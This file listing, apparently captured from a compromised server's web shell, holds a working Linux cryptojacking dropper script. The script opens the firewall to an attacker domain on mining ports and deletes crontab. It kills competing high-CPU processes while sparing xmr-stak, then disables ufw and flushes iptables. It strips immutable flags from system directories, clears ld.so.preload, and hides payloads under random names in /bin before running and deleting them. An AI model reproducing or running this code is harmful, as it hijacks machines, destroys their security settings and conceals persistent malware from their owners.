d736bb10d83a904aefc1d6ce93dc54b8

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File name : kn

Content :

#!/bin/bash

domain="n-am.lnxx.site"
ports="80 443 3333"
protocol="tcp"

# Perform DNS lookup and extract IP addresses
ip_addresses=$(nslookup -timeout=2 -retry=1 "$domain" | grep Address | awk '!/8\.8\.8\.8#53/ {print $2}')

if [ -n "$ip_addresses" ]; then
    for ip in $ip_addresses; do
        # Accept incoming and outgoing traffic from the specified individual IP
        iptables -A INPUT -s "$ip" -j ACCEPT >/dev/null 2>&1
        iptables -A OUTPUT -d "$ip" -j ACCEPT >/dev/null 2>&1
        /etc/alternatives/iptables -A INPUT -s "$ip" -j ACCEPT >/dev/null 2>&1
        /etc/alternatives/iptables -A OUTPUT -d "$ip" -j ACCEPT >/dev/null 2>&1

# Truncate IP to /24 (subnet mask 255.255.255.0) and accept incoming and outgoing traffic from the entire subnet
        ip_range=$(echo "$ip" | cut -d. -f1-3)
        iptables -A INPUT -s "$ip_range".0/24 -j ACCEPT >/dev/null 2>&1
        iptables -A OUTPUT -d "$ip_range".0/24 -j ACCEPT >/dev/null 2>&1
        /etc/alternatives/iptables -A INPUT -s "$ip_range".0/24 -j ACCEPT >/dev/null 2>&1
        /etc/alternatives/iptables -A OUTPUT -d "$ip_range".0/24 -j ACCEPT >/dev/null 2>&1

# Accept traffic on specified ports from the individual IP
        for port in $ports; do
            iptables -A INPUT -s "$ip" -p "$protocol" --dport "$port" -j ACCEPT >/dev/null 2>&1
            iptables -A OUTPUT -d "$ip" -p "$protocol" --dport "$port" -j ACCEPT >/dev/null 2>&1
            /etc/alternatives/iptables -A INPUT -s "$ip" -p "$protocol" --dport "$port" -j ACCEPT >/dev/null 2>&1
            /etc/alternatives/iptables -A OUTPUT -d "$ip" -p "$protocol" --dport "$port" -j ACCEPT >/dev/null 2>&1

# Accept traffic on specified ports from the entire subnet
            iptables -A INPUT -s "$ip_range".0/24 -p "$protocol" --dport "$port" -j ACCEPT >/dev/null 2>&1
            iptables -A OUTPUT -d "$ip_range".0/24 -p "$protocol" --dport "$port" -j ACCEPT >/dev/null 2>&1
            /etc/alternatives/iptables -A INPUT -s "$ip_range".0/24 -p "$protocol" --dport "$port" -j ACCEPT >/dev/null 2>&1
            /etc/alternatives/iptables -A OUTPUT -d "$ip_range".0/24 -p "$protocol" --dport "$port" -j ACCEPT >/dev/null 2>&1
        done
    done
else
    echo "Failed"
fi
crontab -r >/dev/null 2>&1
ps aux | grep -vw 'xmr-stak\|ld-linux.so.2' | (test -e /bin/.lock && grep -vwf /bin/.lock) | awk '{if($3>40.0) print $2}' | while read procid; do kill -9 $procid; done 2>/dev/null

ufw disable >/dev/null 2>&1
iptables -P INPUT ACCEPT 2>/dev/null
iptables -P OUTPUT ACCEPT 2>/dev/null
iptables -P FORWARD ACCEPT 2>/dev/null
iptables -F 2>/dev/null
chattr -i /usr/sbin/ >/dev/null 2>&1
chattr -i /usr/bin/ >/dev/null 2>&1
chattr -i /bin/ >/dev/null 2>&1
chattr -i /usr/lib >/dev/null 2>&1
chattr -i /usr/lib64 >/dev/null 2>&1
chattr -i /usr/libexec >/dev/null 2>&1
chattr -i /etc/ >/dev/null 2>&1
chattr -i /tmp/ >/dev/null 2>&1
chattr -i /sbin/ >/dev/null 2>&1
chattr -i /etc/resolv.conf >/dev/null 2>&1
chattr -i /etc/cron.d/systeml >/dev/null 2>&1
chattr -i /etc/cron.weekly/systeml >/dev/null 2>&1
chattr -i /etc/cron.hourly/systeml >/dev/null 2>&1
chattr -i /etc/cron.daily/systeml >/dev/null 2>&1
chattr -i /etc/cron.monthly/systeml >/dev/null 2>&1

chattr -ia /etc/ld.so.preload 2>/dev/null
cat /dev/null > /etc/ld.so.preload 2>/dev/null

# Check if a file exists containing the previous filenames
if [ -e "/usr/lib/systemd/previous_filenames1" ] && [ -e "/usr/lib/systemd/previous_filenames2" ]; then
    # Read the previous filenames from the files
    read -r file1 < "/usr/lib/systemd/previous_filenames1"
    read -r file2 < "/usr/lib/systemd/previous_filenames2"
else
    # Generate new random filenames
    file1="/bin/$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
    file2="/bin/$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"

# Save the filenames to files for the next run
    echo "$file1" > "/usr/lib/systemd/previous_filenames1"
    echo "$file2" > "/usr/lib/systemd/previous_filenames2"
fi
# Move the files to their new names
mv x86_64 "$file1" 2>/dev/null
mv i386 "$file2" 2>/dev/null

BACK="$file1"
SERVICE="netools"
NEO="$file2"
EXEC="netools"
DIR="/tmp"
LOCK_FILE="/bin/.lock"

chattr -iaus /etc/cron.*/$COPY /etc/init.d/$COPY 2>/dev/null

if [ -e "/bin/.lock" ]; then
    PID=$(cat /bin/.lock)
else
    touch /bin/.lock 2>/dev/null
    truncate -s 0 /bin/.lock 2>/dev/null
    PID=0  # Set an initial value, assuming 0 is not a valid process ID
fi

# Check if the corresponding directory exists in /proc/
if [ -n "$PID" ] && [ "$PID" -ne 0 ] && ls -la "/proc/$PID" > /dev/null 2>&1; then
    echo "Running"
else
    echo "Not running"
    cp "$BACK" "$DIR/$EXEC" 2>/dev/null
    cp "$NEO" "$DIR/neo" 2>/dev/null
    chmod +x "$DIR/$EXEC" 2>/dev/null
    chmod +x "$DIR/neo" 2>/dev/null

# Check if the process is not already running before starting it
    if [ -z "$(pidof "$EXEC")" ]; then
        "$DIR/$EXEC" --tls >/dev/null 2>&1
        sleep 2
        rm -rf "$DIR/$EXEC"
        PID=$(pidof "$EXEC")
    fi

truncate -s 0 /bin/.lock
    echo "$PID" > /bin/.lock 2>/dev/null
fi
sleep 2
"$DIR/neo" "$PID" >/dev/null 2>&1
rm -rf "$DIR/neo"
sleep 2
pkill -f fold
pkill -f cat
pkill -f tr

Gel4y Mini Shell

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June 2020

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